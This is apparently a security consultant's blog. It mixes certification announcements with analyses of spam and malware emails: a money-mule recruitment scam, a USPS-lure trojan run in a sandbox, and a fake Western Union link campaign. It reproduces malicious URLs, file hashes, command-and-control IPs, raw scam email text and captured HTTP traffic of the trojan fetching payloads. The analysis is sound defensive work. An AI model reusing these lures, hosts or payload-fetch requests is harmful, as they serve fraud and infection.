@securityguy23:

Back from New York and returning to regularly scheduled programming, already in progress. . .

Now Hexaicosa-Certified with McAfee Technical Professional -- Mobile Security Technical Requirements Goodness. . .

From the McAfee Partner Learning Center on November 29th, 2012:

"This certificates acknowledges that Christopher Marcinko has successfully completed the Mobile Security Technical Requirements (1.3)."

Date of Certification:
November 29th, 2012

Now Pentaicosa-Certified with McAfee Technical Professional -- Web and Email Security Goodness. . .

From the McAfee Partner Learning Center on November 29th, 2012:

"This certificates acknowledges that Christopher Marcinko has successfully completed the 2012 Technical Professional Web and Email Security Certification (1.4)."

Date of Certification:
November 29th, 2012

Now Tetraicosa-Certified with McAfee Technical Professional -- System Security Goodness. . .

From the McAfee Partner Learning Center on November 28th, 2012:

"This certificates acknowledges that Christopher Marcinko has successfully completed the Technical Professional System Security Certification."

Date of Certification:
November 28th, 2012

Now Triicosa-Certified with McAfee Technical Professional -- Risk and Compliance Goodness. . .

From the McAfee Partner Learning Center on November 27th, 2012:

"This certificates acknowledges that Christopher Marcinko has successfully completed the 2012 Technical Professional Risk and Compliance Certification (1.6)."

Date of Certification:
November 27th, 2012

Sorry -- It Wasn't Me

Based on all the NDR's received in the last hour, it's apparently my turn to have an email address spoofed and used to send out crap spam.

Sorry -- it was neither me nor my machine.

Looks like the one example below came through:

1) An open MTA relay in Barcelona, Spain (84.77.221.194)

2) Via a what was claimed to be a Saudi Arabian registered domain (odcqcngjocqxmidqclbfogqwi [DOT] twarn [DOT] com/sendmail [DOT] php)

3) Which may or may not be hosted out of Haarlem, Netherlands via 94.75.242.21

But the subdomain does not resolve, so the parent domain was probably spoofed as well. Not that it matters anyway as whoever is sending out this crap is probably using some automated script and long list of open email relays all over the world.

Good times. . .

Delivery to the following recipient failed permanently:

no@[MASKED]

Technical details of permanent failure:
[MASKED] tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 550 550 : invalid address (state 13).

----- Original message -----

Received: by 10.14.223.4 with SMTP id u4mr6449274eep.19.1353005631303;
Thu, 15 Nov 2012 10:53:51 -0800 (PST)
Received: by 10.14.223.4 with SMTP id u4mr6449270eep.19.1353005631268;
Thu, 15 Nov 2012 10:53:51 -0800 (PST)
Return-Path: <[MASKED]>
Received: from [MASKED] ([MASKED] [[MASKED]])
by [MASKED] with SMTP id f7si31086453eeo.10.2012.11.15.10.53.35;
Thu, 15 Nov 2012 10:53:51 -0800 (PST)
Received-SPF: neutral ([MASKED]: 84.77.221.194 is neither permitted nor denied by domain of [MASKED]) client-ip=84.77.221.194;
Authentication-Results: [MASKED]; spf=neutral ([MASKED]: 84.77.221.194 is neither permitted nor denied by domain of [MASKED]) smtp.mail=[MASKED]
Received: from [84.77.221.194] ([84.77.221.194]) by [MASKED] ([[MASKED]]) with SMTP;
Thu, 15 Nov 2012 18:53:51 GMT
Received: from apache by odcqcngjocqxmidqclbfogqwi.momix.org with local (Exim 4.67)
(envelope-from <<[MASKED]>,
>)
id C6W6Y5-I31H64-NL
for <[MASKED]>,
; Thu, 15 Nov 2012 20:02:18 +0100
To: <[MASKED]>,

Subject: Company founded in Gibraltar is currently looking for European sector based labor force.
X-PHP-Script: odcqcngjocqxmidqclbfogqwi [DOT] twarn [DOT] com/sendmail [DOT] php for 84.77.221.194
From: <[MASKED]>,

X-Sender: <[MASKED]>,

X-Mailer: PHP
X-Priority: 1
Content-Type: text/plain; charset="us-ascii"
Message-Id:
Date: Thu, 15 Nov 2012 20:02:18 +0100
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S: 0.05735/99.21816 CV:99.9000 FC:95.5390 LC: 0.1839 R:95.9108 P:95.9108 M:94.5035 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-status: off
X-pstn-nxpr: disp=neutral, envrcpt=no@[MASKED]
X-pstn-nxp: bodyHash=f531f188e1f1c756d317b3245f7d51df0f393c9f, headerHash=37f1102fb2cfa2015526df5b21447c478d39434e, keyName=4, rcptHash=59b9110a6577d0310ea9cb90ad957b516216f26a, sourceip=84.77.221.194, version=1
X-pstn-nxpr: disp=neutral, envrcpt=no@[MASKED]
X-pstn-nxp: bodyHash=f531f188e1f1c756d317b3245f7d51df0f393c9f, headerHash=37f1102fb2cfa2015526df5b21447c478d39434e, keyName=4, rcptHash=59b9110a6577d0310ea9cb90ad957b516216f26a, sourceip=84.77.221.194, version=1
X-Gm-Message-State: ALoCoQmIQYS68JJUosWRXDptmnZEI6/Xr6CwYpj31j0Moj9XWIHUnEmDT9cNvqr76MIkq5TtKjLgMVPJj1uxVLfSacsO0bqgIFEmAgkQTYvbkIjQBHE7ss+iohLEWnAdGN1/S2TDH8re

Business providing product offerings in the E-Commerce and Information Technology market sectors presently
recruiting employment personnel from Europe.

5,000 Euros per month compensation in exchange for simply a few working hours put forth each day, plus a 5.0% bonus.

What we require from applicant:
- POA (Power of Attorney) or Proprietorship of a business or similar
- Replying to e-mails originating from us, each day
- Stay consistently current with every assigned task
If this interests you, please submit the following information to our business e-mail:

- Full Name
- Telephone # in the International Syntax Format
- E-mail address
- Current age

Please respond to:Jeanette@europs-consulting [DOT] com.

Don't utilize the reply option.
Sincerely,
Department of Human Resources

Now Doicosa-Certified with Check Point CCSA Goodness. . .

From Check Point Software Technologies LTD. on November 15th, 2012:

"This is to certify that Christopher J. Marcinko has demonstrated the knowledge to be a: Check Point Certified Security Administrator."

Date of Certification:
November 15th, 2012

Upgraded to R77
From Check Point Software Technologies LTD. on April 27th, 2015:

"This is to certify that Christopher J. Marcinko has demonstrated the knowledge to be a: Check Point Certified Security Administrator."

Date of Certification:
April 27th, 2015

@securityguy23:

Back from the Symantec Worldwide Technical Symposium in Vegas -- trying to return to regularly scheduled programming, already in progress. . .

Now Henicosa-Certified with McAfee Technical Professional -- Network Defense Goodness. . .

From the McAfee Partner Learning Center on October 25th, 2012:

"This certificates acknowledges that Christopher Marcinko has successfully completed the Technical Professional Network Defense Certification."

Date of Certification:
October 25th, 2012

@securityguy23:

Survived my ISACA audit of my 2011 CISM CPE's. Really like it when that happens. . .

Now Icosa-Certified with McAfee Technical Professional -- Data Protection Goodness. . .

From the McAfee Partner Learning Center on October 15th, 2012:

"This certificates acknowledges that Christopher Marcinko has successfully completed the Technical Professional Data Protection Certification."

Date of Certification:
October 15th, 2012

@securityguy23:

Back from SecureWorld Dallas 2012 -- returning to regularly scheduled programming, already in progress

@securityguy23:

Back from New York City and returning to regularly scheduled programming, already in progress. . .

@christoperj:

Back from Phoenix, returning to regularly scheduled programming already in progress. . .

Now Enneadeca-Certified with Symantec ASC - Enterprise Security Goodness. . .

From the Symantec Technical Accreditation Program on September 11th, 2012:

Designation:
Authorized Symantec Consultant (ASC): Enterprise Security Specialization (November 2010)

Date of Certification:
September 11th, 2012

No, USPS Did Not Fail to Deliver a Package This Week

Started receiving alerts claiming to be from the USPS concerning a package that could not be delivered.

This is a new take on an old trick, and a 'low-budget' one at that. Whatever the case, this email is also very much malicious. My fully patched Windows 7 sandbox was quickly popped by the bug without any effort. It also did not seem to matter that the user-id was had only limited user privileges and I received no UAC approval window when it was triggered. Very disturbing.

There's no visible text in the email when displayed as HTML. But there is hidden text in the background that is probably intended to make the message appear legitimate to spam filters. The text itself appears to be pulled from 3 novels which have long since found their way into the public domain:

From "Artemus Ward (his travels) among the Mormons, Part 1" by John Camden Hotten (originally published in 1865)

. . .Sometimes they introduce a full brass and string band in Church. Brigham Young says the devil has monopolized the good music long enough, and it is high time the Lord had a portion of it. . .

From "A Fleece of Gold: Five Lessons from the Fable of Jason and Golden Fleece" by Charles Steward Given (originally published in 1905)

. . .Galen, the famous anatomist, after a prolonged study of the human hand, conceiving it to be the proximate instrument of the soul, was forced to renounce atheism, to acknowledge the existence of a Supreme Being. . .

From "The Entire PG Works by George Meredith, Volume 1 of 10" by George Meredith (originally published in 1851)

. . .Richard mechanically sat down on the crumbling flints to rest, and listened to the panting of the dog. Sprinkled at his feet were emerald lights: hundreds of glow- worms studded the dark dry ground. . .

I wonder how the original email author came upon these three distinctly different novels as even in an internet connected world, it seems unlikely that these are just the result of a "What novels should I quote to bypass spam filters?" Google search

That said, the user only sees a low quality jpg image (pulled from http://bdedieu [DOT] perso [DOT] neuf [DOT] fr/HIDVRTXUKI [DOT] jpg) when they open the message claiming that USPS failed to deliver a package. . .

USPS.COM
Unfortunately, we failed to deliver the postal package you have sent on the 27th of august in time, because the recipient's address is erroneous.

Please go to the nearest UPS office and show your shipping label.

If the parcel isn't received within 30 working days our company will have the right claim compensation from you for each day of keeping.

Low quality JPG referring to a phantom parcel

Not sure why I would be taking a USPS/United States Postal Service receipt to a UPS/United Parcel Service office, but whatever.

Clicking on the image sends the user to http://bdedieu [DOT] perso [DOT] neuf [DOT] fr/XREOWCDHOS [DOT] htm, which has only a very simple javascript within commanding the browser to download a file named Label_Copy_USPS [DOT] zip. . .

Javascript to download the Label_Copy_USPS file

The zip file itself contains a malicious file named Label_Copy_USPS [DOT] exe, with an embeded icon that makes it look like a MSWord document to the untrained eye.

Not really a word document, no matter what it says

Unique File Details:
Filename -- Label_Copy_USPS [DOT] exe
File size -- 88576 bytes (86.5 KB)
Filetype -- PE32 executable for MS Windows (GUI) Intel 80386 32-bit (Win32 Executable Generic)
MD5 Hash -- 7c35f845a49f95e6797ee89073cf1d89
SHA1 Hash -- 8dc099b23270b70a42dad714a230c4b51eb06175
SHA256 Hash -- 254dd09af71c45cbad147aa523cf7f277340c1e0799fba9b36f20942f295c63d

Online malware scanners identified the file as:
AntiVir -- TR/Crypt.ZPACK.Gen
Avira -- TR/Crypt.ZPACK.Gen
Eset -- Win32/Kryptik.ALDT (Variant)
F-Prot -- W32/Falab.J6.gen!Eldorado
Kaspersky Lab -- Trojan-Downloader.Win32.Kuluoz.ar
McAfee -- Generic BackDoor.adp
Norman -- W32/Obfuscated.D!genr
Sophos -- Mal/EncPk-AGK

The file also appears to have authentic metadata information, though it could just as easily be another misdirect.

File Description: Fatal Hums 32
Company: EPoX
File Version: 2.2.0.1112
Date Created: 8/30/2012 6:57 AM
Size: 86.5 KB

Opened the file in the sandbox and confirmed it's malicious nature.

It appears to execute, but doesn't display anything but an empty document in notepad named "Label_Copy_USPS". Not sure if that's just for appearance, or if it's exploiting something in notepad on my fully patched sandbox machine.

Just an empty notepad document

The Label_Copy_USPS.exe file with the MSWord icon has also been replaced with an empty text file named Label_Copy_USPS.txt.

After that, nothing else. At least for a few minutes.

Then I get a popup for something called Security Monitor claiming:

Security Monitor: WARNING!

Attention! System detected a potential hazard (TrojanSPM/LX) on your computer
that may infect executable files. Your private information and PC Safety
is at risk.
To get rid of unwanted spyware and keep your computer safe you need to update your computer security software.
Click Yes to download official intrusion detection system (IDS software)

Bogus Security Monitor Warning

Followed by an ominous systemtray flag. . .

WARNING!
Application cannot be executed. The file notepad.exe is infected.

Please activate your antivirus software.

Bogus Infected File Flag

And then conveniently a scan from Live Security Platinum (one of the Fake Antivirus variants) which I of course didn't knowingly install. . .

Live Security Platinum (one of the Fake Antivirus variants)

I've seen these before, and it always amuses me how it claims certain applications are infected on machine (even though they are not actually installed)

But whatever the case, it throws the expected "Your machine is infected with many malicious bugs, It is highly recommended that you remove all the threats from your computer immediately" message.

Bogus Infected Machine Warning

And of course clicking on the button takes the user to an online website asking for a credit card number.

Basically anything that I did on the machine from this point on triggered an alert claiming that whatever application I was trying to open was infected, right after the process was terminated for my 'safety'

But that's not all that's going on. . .

Behind the scenes, this all starts with a HTTP connection on TCP84 to a Netherlands IP (93.184.100.116) and pulled down another malicious exe file named 3b0c6a8305cc89cf77f3c9616a569e78 [DOT] exe. . .

GET /d0f7718d96B962A24D5DB24495EF4073722C70A2F37B8ED45222F5F57F5006B4F30287DE5E832CD19BA0C26553344C35D1833C79DC573864758807A47C3CED5B939DECA6688F364B7F8C HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Host: 93.184.100.116:84

HTTP/1.1 200 OK
Server: nginx/0.8.55
Date: Thu, 30 Aug 2012 20:53:14 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3-7+squeeze13
Vary: Accept-Encoding
Content-Length: 49

c=run&u=/get/3b0c6a8305cc89cf77f3c9616a569e78 [DOT] exeGET //get/3b0c6a8305cc89cf77f3c9616a569e78 [DOT] exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)
Host: 93.184.100.116:84
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx/0.8.55
Date: Thu, 30 Aug 2012 20:53:14 GMT
Content-Type: application/x-msdos-program
Connection: keep-alive
Last-Modified: Thu, 30 Aug 2012 20:30:04 GMT
ETag: "ddc0f1-66a00-4c8818a54eb00"
Accept-Ranges: bytes
Content-Length: 420352

MZ......................@...............................................!..L.!This program cannot be run in DOS mode. [FILE CONTINUES]

And then it pulls yet another malicious file, passF [DOT] dll [DOT] crp. . .

GET /d0f7718d96B962A24D5DB24495EF4073722C70A2F37B8ED45222F5F57F5006B4F30287DE5E832CD19BA0C26553344C35D1833C79DC573864758807A47C3CED5B939DECA6688F364B7F8C HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Host: 93.184.100.116:84

HTTP/1.1 200 OK
Server: nginx/0.8.55
Date: Thu, 30 Aug 2012 20:55:18 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3-7+squeeze13
Vary: Accept-Encoding
Content-Length: 49

c=rdl&u=/get/passF.dll.crp&a=0&k=00005f73&n=passFGET //get/passF.dll.crp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Host: 93.184.100.116:84

HTTP/1.1 200 OK
Server: nginx/0.8.55
Date: Thu, 30 Aug 2012 20:55:18 GMT
Content-Type: application/x-msdos-program
Connection: keep-alive
Last-Modified: Fri, 24 Aug 2012 12:47:50 GMT
ETag: "ddc0f8-1a9e00-4c80262356980"
Accept-Ranges: bytes
Content-Length: 1744384

>...p_..w_......._..s_..3_..s_..s_..s_..s_..s_..s_..s_..s_..{^..}@..s...R..L.~Th., p.0gr.2 c.1no..beS-unS6n 7.S .0de]R

W_..s_..+...oO..oO..[FILE CONTINUES]

And because that clearly wasn't enough, it connects to Hong Kong (175.41.28.156) to log itself as 'installed'. . .

GET /api/stats/install/?ts=26070510&affid=41100&ver=3060001&group=liv HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent:
Host: 175.41.28.156

HTTP/1.1 200 OK
Server: nginx/1.2.3
Date: Thu, 30 Aug 2012 20:56:18 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive

Then the bug downloads silently completes a form in Kazakhstan (195.210.47.109) and downloads a spam email template. . .

POST /index.php HTTP/1.1
Host: 195.210.47.109:80:80
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; SV1; .NET CLR 1.1.4777)
Accept: */*
Accept-Language: en-gb
Accept-Encoding: deflate
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 746

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="sid"
0549571111555245

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="up"
13849612

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="wbfl"
1

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="v"
137

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ping"
457

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="guid"
{DAB0CFA5-8A9B-4160-8DA8-8F2A01AC8EF6}

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="wv"
6#2#1#0#7601#0

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="sr"
0

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ar"
0

--1BEF0A57BE110FD467A--
HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 30 Aug 2012 20:56:30 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/5.3.3-7+squeeze13
Vary: Accept-Encoding
f4a

HTTP/1.1 200 OK
Date: Thu, 30 Aug 2012 20:56:29 GMT
Server: Apache/2.2.16
Content-Length: 55876
Connection: close
Content-Type: multipart/form-data; boundary="1BEF0A57BE110FD467A"

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="COMMON"; filename="COMMON.BIN"
Content-Type: application/octet-stream

'hr.%+./".,****...)/.'4hr.%.'ywtxp%.'m%.***.'4m%.'h%**/5)+)5)/,5*#)!#/.*,(5)(+5*(*5*-#!#/.*,(5##5.5(!#+.*##5*(#5".5*((!#/.)+(5*(+5*)"5.#!#/.)+"5)+5,#5)/*!#/.-#5*,(5*#)5*)#!#/.,)5..[FILE CONTINUES]

Once downloaded, the sandbox becomes a mailzombie and starts blasting the world. . .

Meanwhile. . . the bug is also trying to pull down more badness from Germany (78.159.108.83). . .

GET /ajax/libs/jquery/1.6.4/jquery [DOT] min [DOT] js HTTP/1.1
Accept: */*
Referer: http://chechoutbiz [DOT] com/p/liv/?group=liv&ver=3060001&reject_url=http%3A%2F%2Fchechoutbiz [DOT] com%3A80%2Fp%2Fdecline%2F%3Fgroup%3Dliv%26ver%3D3060001%26nid%3DD0F7718D%26affid%3D41100&nid=D0F7718D&affid=41100

Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)
Connection: Keep-Alive

HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Type: text/javascript; charset=UTF-8
Last-Modified: Mon, 02 Apr 2012 18:24:28 GMT
Date: Thu, 30 Aug 2012 18:41:47 GMT
Expires: Fri, 30 Aug 2013 18:41:47 GMT
X-Content-Type-Options: nosniff

Server: sffe
Content-Length: 32103
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 8101

............y..../....MD...j..v.%`C...-..K..aS.....H.Zr......SU(......}...(.j=u.:K.i.l...|....U.?{..M..M...........C.p.-..2.W...i.....U./.+?VIpo...[?.....v.:....O.*[.Q.0...j...?l.(..<[FILE CONTINUES]

And then yet another file from Missouri (209.20.78.241) via TCP84. . .

GET /d0f7718d96B962A24D5DB24495EF4073722C70A2F37280D51B2FB5E0240E44F8B14D849155C63ADBC2A2CA31 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Host: 209.20.78.241:84

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Thu, 30 Aug 2012 21:03:11 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3-7+squeeze13
Vary: Accept-Encoding
Content-Length: 225

..9.......Q0.r+..W..As..yP........k....mEq.v..j!...fg.@.o?.Y....|.4rh.....5^.....{.j..q.SK.q.....U..........'2.e9..IrKJe.,zSo/..o.a8_.cf.......~(MD.+.P.........f...?......M..^{Q.|.f...@.;.%Y.(.K..8PF..S..\l.%..W..v.&8a.KR....

And then back to Germany (slopokan21 [DOT] ru) to fill out another online form. . .

POST /index [DOT] php HTTP/1.1
Host: slopokan21 [DOT] ru:80
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; SV1; .NET CLR 1.1.4777)
Accept: */*
Accept-Language: en-gb
Accept-Encoding: deflate
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 2936

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="sid"
2505323811778201

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="up"
14097139

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="wbfl"
0

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="v"
137

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ping"
457

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="guid"
{DAB0CFA5-8A9B-4160-8DA8-8F2A01AC8EF6}

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="wv"
6#2#1#0#7601#29

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ms"
758019024:121:2000:0:0:0:25:0:0:0:0:0:0:0:0:0:0

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="smtx"
CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000CC000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="sr"
0

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ar"
0

--1BEF0A57BE110FD467A--
HTTP/1.0 303 See Other
Location: http://slopokan21 [DOT] ru:80/index [DOT] php
Content-Length: 0
Connection: close
Date: Thu, 30 Aug 2012 21:00:40 GMT

The connections and downloads continue with zero sign of stopping. And again, all of this is taking place silently behind the scenes without the user ever knowing.

Good times

---

Original source email (minus the HTML formatting):

Delivered-To: christoperj
Received: by 10.231.42.212 with SMTP id t20csp39528ibe;
Thu, 30 Aug 2012 09:52:10 -0700 (PDT)
Received: by 10.50.236.39 with SMTP id ur7mr1239726igc.62.1346345530047;
Thu, 30 Aug 2012 09:52:10 -0700 (PDT)
Return-Path:
Received: from mailforward. (mailforward.. [10.10.10.23])
by mx. with ESMTP id i2si3576532icy.69.2012.08.30.09.52.09;
Thu, 30 Aug 2012 09:52:10 -0700 (PDT)
Received-SPF: neutral (: 10.10.10.23 is neither permitted nor denied by best guess record for domain of www@suzan.yourwebhost [DOT] com) client-ip=10.10.10.23;
Authentication-Results: mx.; spf=neutral (: 10.10.10.23 is neither permitted nor denied by best guess record for domain of www@suzan.yourwebhost [DOT] com) smtp.mail=www@suzan.yourwebhost [DOT] com
Received: from mx1. (inbound-us1. [70.87.28.133])
by mailforward. (Postfix) with ESMTP id 72C0E162C3C6
for ; Thu, 30 Aug 2012 16:52:09 +0000 (GMT)
Received: from suzan.yourwebhost [DOT] com (suzan [DOT] yourwebhost [DOT] com [209.239.43.1])
by mx1. (Postfix) with ESMTP id 58343471681
for ; Thu, 30 Aug 2012 16:52:09 +0000 (GMT)
Received: (from www@localhost)
by suzan.yourwebhost [DOT] com (8.14.3/8.12.10) id q7UGq3Uc015428;
Thu, 30 Aug 2012 12:52:03 -0400
Date: Thu, 30 Aug 2012 12:52:03 -0400
Message-Id: <201208301652 .q7ugq3uc015428=".q7ugq3uc015428" com="com" suzan="suzan" yourwebhost="yourwebhost">
To: christoperj
Subject: Delivery refuse ID#36556
From: "USPS Customer Service"
X-Mailer: CF-XPInformer
Reply-To: "USPS Customer Service"
Mime-Version: 1.0
Content-Type:multipart/mixed;boundary="----------1346345523503F9A33361C5"
X-CTCH-Spam: Suspect
X-CTCH-VOD: Unknown
X-CTCH-RefID: str=0001.0A0B0209.503F9A39.0103,ss=2,re=0.000,recu=0.000,reip=0.000,cl=2,cld=1,fgs=0



------------1346345523503F9A33361C5


[LINK TO http://bdedieu [DOT] perso [DOT] neuf [DOT] fr/XREOWCDHOS [DOT] htm" USING IMAGE FILE POINTING TO http://bdedieu [DOT] perso.neuf [DOT] fr/HIDVRTXUKI [DOT] jpg"]

There are no ravishingly beautiful women present, and no positively ugly ones.The men are fair to middling. They will never be slain in cold blood for their beauty, nor shut up in jail for their homeliness. There are some good voices in the choir to-day, but the orchestral accompaniment is unusually slight. Sometimes they introduce a full brass and string band in Church. Brigham Young says the devil has monopolized the good music long enough, and it is high time the Lord had a portion of it. Therefore trombones are tooted on Sundays in Utah as well as on other days; and there are some splendid musicians there. The Orchestra in Brigham Youngs theatre is quite equal to any in Broadway. There is a youth in Salt Lake City (I forget his name) who plays the cornet like a North American angel. Mr. Stenhouse relieves me of any anxiety I had felt in regard to having my swan-like throat cut by the Danites, but thinks my wholesale denunciation of a people I h!
ad never seen was rather hasty.


And the plaudits of men and of angels attend the young man today who has a worthy object in view, who believes in himself, and bends to the oars with might and main.An active hand symbolizes usefulness and thrift. Has it ever occurred to you what a wonderful piece of mechanism is that hand with which Nature has equipped you for seizing the oars of lifes activities? Galen, the famous anatomist, after a prolonged study of the human hand, conceiving it to be the proximate instrument of the soul, was forced to renounce atheism, to acknowledge the existence of a Supreme Being. Scientists regard the human hand as being the most remarkable organ, not vital, in the whole animal kingdom. It is conceded to be, also, the most pronounced physical characteristic differentiating man from the lower animals. The chimpanzee and the gorilla, closely allied to the human species in many respects, are noticeably deficient in the use of their modified hands; being able to grasp things only in a c!
umbersome way.

Tongue out of mouth trotted the little dog after him; crouched panting when he stopped an instant; rose weariedly when he started afresh.Now and then a large white night-moth flitted through the dusk of the forest. On a barren corner of the wooded highland looking inland stood grey topless ruins set in nettles and rank grass-blades. Richard mechanically sat down on the crumbling flints to rest, and listened to the panting of the dog. Sprinkled at his feet were emerald lights: hundreds of glow- worms studded the dark dry ground. He sat and eyed them, thinking not at all. His energies were expended in action. He sat as a part of the ruins, and the moon turned his shadow Westward from the South. Overhead, as she declined, long ripples of silver cloud were imperceptibly stealing toward her. They were the van of a tempest. He did not observe them or the leaves beginning to chatter.




------------1346345523503F9A33361C5--

No, I Do Not Have a Confirmed Money Transfer from Western Union

Received a new version (well, received several times actually) of the old Western Union Money Transfer scam in the last 48 hours.

This latest derivative comes across as an authentic looking email from "2012, Western Union" thanking me (or more specifically, a random name that isn't actually me) for using the Western Union Money Transfer service. The email goes on to say that a credit of several hundred dollars is ready for me to pickup. All I have to do is to click on a link for the transaction details.

And as a bonus -- I have also earned Western Union Gold Points for the transaction. I like bonuses. I wonder if I can convert them to airline miles?

Regardless -- like all the versions that came before, this latest incarnation is clearly fake and appears to have been sent with malicious intent.

All of the emails appear to be an attempt to trick the reader into clicking on a variety of non-Western Union links peppered throughout the messages.

None of the links I found in the messages I received were working when I tested.

These links threw an immediate 404 --

http://www [DOT] fantallenatori [DOT] com/pUcAJCR5/index [DOT] html

http://www [DOT] fantallenatori [DOT] com/uAu1GZ1V/index [DOT] html=

http://www [DOT] fantallenatori [DOT] com/6E3eDXLg/index [DOT] html

http://quevenderparaganardinero [DOT] com/ZYbjfFiB/index [DOT] htm

http://quevenderparaganardinero [DOT] com/psdr66QH/index [DOT] html

Weirdly, this single link threw an authentication challenge from www [DOT] pictoo [DOT] de:80 --

http://www [DOT] pictoo [DOT] de/5TpLpTTy/index [DOT] html

These links attempted to redirect to http:// 69.163.40.128 /pxyk80ujzb03h [DOT] php?y=p7tqagmzf8qdjqpi (which also threw a dead 404 error from a nginx v0.7.67 server) --

http://doctorraulseveriche [DOT] com/N9SvVNHj/index [DOT] html

http://inove [DOT] imb [DOT] br/oRVx4RJW/index [DOT] html

http://6-engel [DOT] com/7KwgSTdk/index [DOT] html

http://afistan [DOT] com/TwWrw4T9/index [DOT] html

http://academiaplataforma [DOT] com [DOT] br/EsRMFkkp/index [DOT] html

But during the redirect, it threw a "WAIT PLEASE Loading. . ." message in a format I've seen previously used to send the visitor to a website serving automated exploits back to the visiting user's machine.

It's possible these 5 specific links might be working at a later time with just a simple DNS update pointing the redirect to another live host.

Good times

---

Screenshot of an example email:

Yep, this Western Union email is clearly fake

Text of an example email (minus the html formatting):

Delivered-To: christoperj
Received: by 10.231.42.212 with SMTP id t20csp22737ibe;
Thu, 30 Aug 2012 05:54:32 -0700 (PDT)
Received: by 10.42.18.193 with SMTP id y1mr4641886ica.0.1346331271484;
Thu, 30 Aug 2012 05:54:31 -0700 (PDT)
Received-SPF: neutral (: 10.10.10.23 is neither permitted nor denied by domain of commerciale@eurocina.it) client-ip=10.10.10.23;
Received: by 10.64.35.42 with POP3 id e10mf1997265iej.8;
Thu, 30 Aug 2012 05:54:30 -0700 (PDT)
Return-Path:
Delivered-To:
Received: from mx1 ([10.10.10.23])
by mss-us12 (Dovecot) with LMTP id MNheK7NhP1BXIwAAkZ4h7A
for ; Thu, 30 Aug 2012 12:51:09 +0000
Received: from srv534004-1.cloud.colt-engine.it (srv534004-1.cloud.colt-engine.it [81.31.148.114])
